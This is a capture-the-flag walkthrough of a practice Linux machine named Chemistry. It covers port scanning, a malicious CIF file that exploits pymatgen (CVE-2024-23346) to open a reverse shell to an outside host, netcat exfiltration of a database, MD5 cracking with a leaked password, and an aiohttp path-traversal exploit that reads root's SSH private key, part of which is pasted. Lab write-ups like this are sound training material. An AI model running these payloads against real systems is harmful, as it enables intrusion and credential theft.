tanades@home:~$

Chemistry



Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP (CVE-2024-23334) which is used on the web application running internally to read the root flag.




Walkthrough

Reconnaissance

We will start by scanning protocolos in the target machine, this can be divided in 3 phases:

  1. Scan for open ports.
  2. Scan for services in these open ports.
  3. Scan for vulnerabilities in these services.


Let’s start by scanning for open ports:

sudo nmap -sS 10.10.11.38 -p- -T4 --min-rate 5000 -oN all_tcp_ports.txt --open -n -Pn -vv
sudo nmap -sU 10.10.11.38 -p- -T4 --min-rate 5000 -oN all_udp_ports.txt --open -n -Pn -vv


There are 2 open ports:

  • 22/tcp
  • 5000/tcp


Let’s check which services are running in these ports:

sudo nmap -sS 10.10.11.38 -p 22,5000 -T4 --min-rate 5000 -oX open_tcp_ports.xml -oN open_tcp_ports.txt --version-all -n -Pn -A


These services are:

  • 22/tcp OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
  • 5000/tcp Werkzeug httpd 3.0.3 (Python 3.9.5)


Now we will seek for vulnerabilities:

sudo nmap -sS 10.10.11.38 -p 22,5000 -T4 --min-rate 5000 --script="vuln or intrusive or discovery" -oN tcp_vulns.txt -oX tcp_vulns.xml -n -Pn


These scans didn’t return any relevant information.



Foothold

We can start by taking a look into the website:



Let’s see what happens if we create an account:



It seems that this website allow us to upload a CIF file, a quick search on Google revealed us that we can inject commands using CIF files:



It seems that a vulnerability in Python’s pymatgen library (CVE-2024-23346) allows for RCE, so let’s take the PoC and modify it to our need:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "


Let’s upload this file, start a reverse shell listener and execute it:

nc -nlvp 4444



We got a reverse shell in the machine, however this user doesn’t the flag, but there is another user called rosa that have it, inspecting the machine, I found SQLite credentials in the app.py file that I didn’t use, but I also found the SQLite database:



Let’s bring it to our machine and inspect this database:

Kali> nc -nlvp 4444 > database.db
Chemistry> cat database.db > /dev/tcp/10.10.16.4/4444



Let’s inspect the database:

sqlite3 database.db
.tables
select * from user;



We found a table with users, one of them being rosa, which is also a user in the machine, so let’s copy this hash, identify its encryption algorithm and crack it:

echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa_hash
hash-identifier rosa_hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 rosa_hash 



We cracked the hash, let’s try to login using this password:

sshpass -p 'unicorniosrosados' ssh rosa@10.10.11.38



We got the flag! Nice, let’s escalate privileges.



Privilege Escalation

Enumerating the machine, I found a service running internally:

ss -tulpen



Let’s perform SSH local port forwarding to access it:

ssh -N -L 127.0.0.1:8080:127.0.0.1:8080 rosa@10.10.11.38



We found a website that seems to be for monitoring purposes, after inspecting it for a while, an interesting piece of information popped out:

whatweb 127.0.0.1:8080 | tee whatweb8080.txt



Let’s look for vulnerabilities related with this AIOHTTP’s version:



It seems that this web server is vulnerable to CVE-2024-23334, let’s copy the exploit in this first GitHub repository and inspect it:



I tried using the script as it is, but it didn’t work, it seems that the directory with static files is not /static, so let’s search for directories using feroxbuster:

feroxbuster --url http://127.0.0.1:8080 -r --threads 25 -d 0 -o feroxbuster_dir_and_file_enum_8080.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt



/assets seems to be a directory for static files, so let’s try the exploit this way, I will try to print root’s SSH private key:

python3 CVE-2024-23334.py -u http://127.0.0.1:8080 -f /root/.ssh/id_rsa -d /assets



This is a great discovery! Let’s save this private key, log in using SSH and print the flag:

echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
UOljWP/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
EAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
+WhSXDr7AhtWgvdy3uUeN1oMKO5Bz5XzOQ40g0apgcWaWi6V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